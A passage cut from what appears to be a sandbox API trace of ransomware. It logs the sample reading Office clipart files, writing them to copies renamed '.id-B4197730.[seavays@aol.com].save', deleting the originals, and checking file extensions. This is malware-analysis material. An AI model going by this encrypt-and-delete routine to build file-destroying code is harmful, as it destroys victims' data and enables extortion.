lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x9d10, lpOverlapped=0x0) returned 1 [0065.003] ReadFile (in: hFile=0x38c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.003] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0065.003] SetEndOfFile (hFile=0x368) returned 1 [0065.003] CloseHandle (hObject=0x368) returned 1 [0065.008] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.008] SetEndOfFile (hFile=0x38c) returned 1 [0065.009] CloseHandle (hObject=0x38c) returned 1 [0065.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0065.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0065.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0065.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0065.009] lstrlenW (lpString=".doc") returned 4 [0065.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.010] lstrlenW (lpString=".docx") returned 5 [0065.010] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.010] lstrlenW (lpString=".pdf") returned 4 [0065.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.010] lstrlenW (lpString=".xls") returned 4 [0065.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.010] lstrlenW (lpString=".xlsx") returned 5 [0065.010] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.010] lstrlenW (lpString=".ppt") returned 4 [0065.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0065.010] lstrlenW (lpString=".zip") returned 4 [0065.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.010] lstrlenW (lpString=".rar") returned 4 [0065.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.010] lstrlenW (lpString=".bz2") returned 4 [0065.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.010] lstrlenW (lpString=".7z") returned 3 [0065.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0065.010] lstrlenW (lpString=".dbf") returned 4 [0065.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0065.010] lstrlenW (lpString=".1cd") returned 4 [0065.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0065.010] lstrlenW (lpString=".jpg") returned 4 [0065.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0065.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0065.010] lstrlenW (lpString=".doc") returned 4 [0065.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.011] lstrlenW (lpString=".docx") returned 5 [0065.011] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.011] lstrlenW (lpString=".pdf") returned 4 [0065.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.011] lstrlenW (lpString=".xls") returned 4 [0065.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.011] lstrlenW (lpString=".xlsx") returned 5 [0065.011] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.011] lstrlenW (lpString=".ppt") returned 4 [0065.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0065.011] lstrlenW (lpString=".zip") returned 4 [0065.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.011] lstrlenW (lpString=".rar") returned 4 [0065.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.011] lstrlenW (lpString=".bz2") returned 4 [0065.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.011] lstrlenW (lpString=".7z") returned 3 [0065.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0065.011] lstrlenW (lpString=".dbf") returned 4 [0065.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0065.011] lstrlenW (lpString=".1cd") returned 4 [0065.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0065.011] lstrlenW (lpString=".jpg") returned 4 [0065.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.011] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0065.012] lstrlenW (lpString="BD09031_.WMF") returned 12 [0065.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0065.012] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=47786) returned 1 [0065.012] CloseHandle (hObject=0x38c) returned 1 [0065.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x220 [0065.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0065.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0065.013] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.013] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0065.013] GetLastError () returned 0x0 [0065.013] ReadFile (in: hFile=0x38c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0xbaaa, lpOverlapped=0x0) returned 1 [0065.016] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xbab0, lpOverlapped=0x0) returned 1 [0065.017] ReadFile (in: hFile=0x38c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.017] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0065.018] SetEndOfFile (hFile=0x368) returned 1 [0065.018] CloseHandle (hObject=0x368) returned 1 [0065.019] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.019] SetEndOfFile (hFile=0x38c) returned 1 [0065.020] CloseHandle (hObject=0x38c) returned 1 [0065.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0065.021] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0065.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0065.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0065.021] lstrlenW (lpString=".doc") returned 4 [0065.021] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.021] lstrlenW (lpString=".docx") returned 5 [0065.021] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.021] lstrlenW (lpString=".pdf") returned 4 [0065.021] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.021] lstrlenW (lpString=".xls") returned 4 [0065.021] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.021] lstrlenW (lpString=".xlsx") returned 5 [0065.021] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.021] lstrlenW (lpString=".ppt") returned 4 [0065.021] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0065.022] lstrlenW (lpString=".zip") returned 4 [0065.022] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.022] lstrlenW (lpString=".rar") returned 4 [0065.022] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.022] lstrlenW (lpString=".bz2") returned 4 [0065.022] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.022] lstrlenW (lpString=".7z") returned 3 [0065.022] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0065.022] lstrlenW (lpString=".dbf") returned 4 [0065.022] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0065.022] lstrlenW (lpString=".1cd") returned 4 [0065.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0065.022] lstrlenW (lpString=".jpg") returned 4 [0065.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0065.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0065.022] lstrlenW (lpString=".doc") returned 4 [0065.022] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.022] lstrlenW (lpString=".docx") returned 5 [0065.022] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.022] lstrlenW (lpString=".pdf") returned 4 [0065.022] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.022] lstrlenW (lpString=".xls") returned 4 [0065.022] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.022] lstrlenW (lpString=".xlsx") returned 5 [0065.022] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.022] lstrlenW (lpString=".ppt") returned 4 [0065.022] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0065.022] lstrlenW (lpString=".zip") returned 4 [0065.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.023] lstrlenW (lpString=".rar") returned 4 [0065.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.023] lstrlenW (lpString=".bz2") returned 4 [0065.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.023] lstrlenW (lpString=".7z") returned 3 [0065.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0065.023] lstrlenW (lpString=".dbf") returned 4 [0065.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0065.023] lstrlenW (lpString=".1cd") returned 4 [0065.023] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0065.023] lstrlenW (lpString=".jpg") returned 4 [0065.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.023] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0065.023] lstrlenW (lpString="BD09194_.WMF") returned 12 [0065.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0065.609] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=14540) returned 1 [0065.609] CloseHandle (hObject=0x2f4) returned 1 [0065.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x220 [0065.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0065.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0065.611] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.611] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0065.612] GetLastError () returned 0x0 [0065.612] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x38cc, lpOverlapped=0x0) returned 1 [0065.618] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x38d0, lpOverlapped=0x0) returned 1 [0065.619] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.620] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0065.620] SetEndOfFile (hFile=0x2ec) returned 1 [0065.620] CloseHandle (hObject=0x2ec) returned 1 [0065.623] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.623] SetEndOfFile (hFile=0x2f4) returned 1 [0065.624] CloseHandle (hObject=0x2f4) returned 1 [0065.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0065.624] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0065.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0065.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0065.625] lstrlenW (lpString=".doc") returned 4 [0065.625] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.625] lstrlenW (lpString=".docx") returned 5 [0065.625] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.625] lstrlenW (lpString=".pdf") returned 4 [0065.625] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.625] lstrlenW (lpString=".xls") returned 4 [0065.625] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.625] lstrlenW (lpString=".xlsx") returned 5 [0065.625] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.625] lstrlenW (lpString=".ppt") returned 4 [0065.625] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0065.625] lstrlenW (lpString=".zip") returned 4 [0065.625] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.625] lstrlenW (lpString=".rar") returned 4 [0065.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.625] lstrlenW (lpString=".bz2") returned 4 [0065.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.625] lstrlenW (lpString=".7z") returned 3 [0065.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0065.626] lstrlenW (lpString=".dbf") returned 4 [0065.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0065.626] lstrlenW (lpString=".1cd") returned 4 [0065.626] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0065.626] lstrlenW (lpString=".jpg") returned 4 [0065.626] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0065.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0065.626] lstrlenW (lpString=".doc") returned 4 [0065.626] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.626] lstrlenW (lpString=".docx") returned 5 [0065.626] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.626] lstrlenW (lpString=".pdf") returned 4 [0065.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.626] lstrlenW (lpString=".xls") returned 4 [0065.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.626] lstrlenW (lpString=".xlsx") returned 5 [0065.626] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.626] lstrlenW (lpString=".ppt") returned 4 [0065.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0065.626] lstrlenW (lpString=".zip") returned 4 [0065.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.626] lstrlenW (lpString=".rar") returned 4 [0065.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.626] lstrlenW (lpString=".bz2") returned 4 [0065.627] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.627] lstrlenW (lpString=".7z") returned 3 [0065.627] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0065.627] lstrlenW (lpString=".dbf") returned 4 [0065.627] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0065.627] lstrlenW (lpString=".1cd") returned 4 [0065.627] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0065.627] lstrlenW (lpString=".jpg") returned 4 [0065.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.627] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0065.627] lstrlenW (lpString="BD19563_.GIF") returned 12 [0065.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0065.628] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=20454) returned 1 [0065.628] CloseHandle (hObject=0x2f4) returned 1 [0065.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 0x220 [0065.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0065.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0065.628] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.628] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0065.628] GetLastError () returned 0x0 [0065.628] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x4fe6, lpOverlapped=0x0) returned 1 [0065.630] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x4ff0, lpOverlapped=0x0) returned 1 [0065.631] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.632] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, 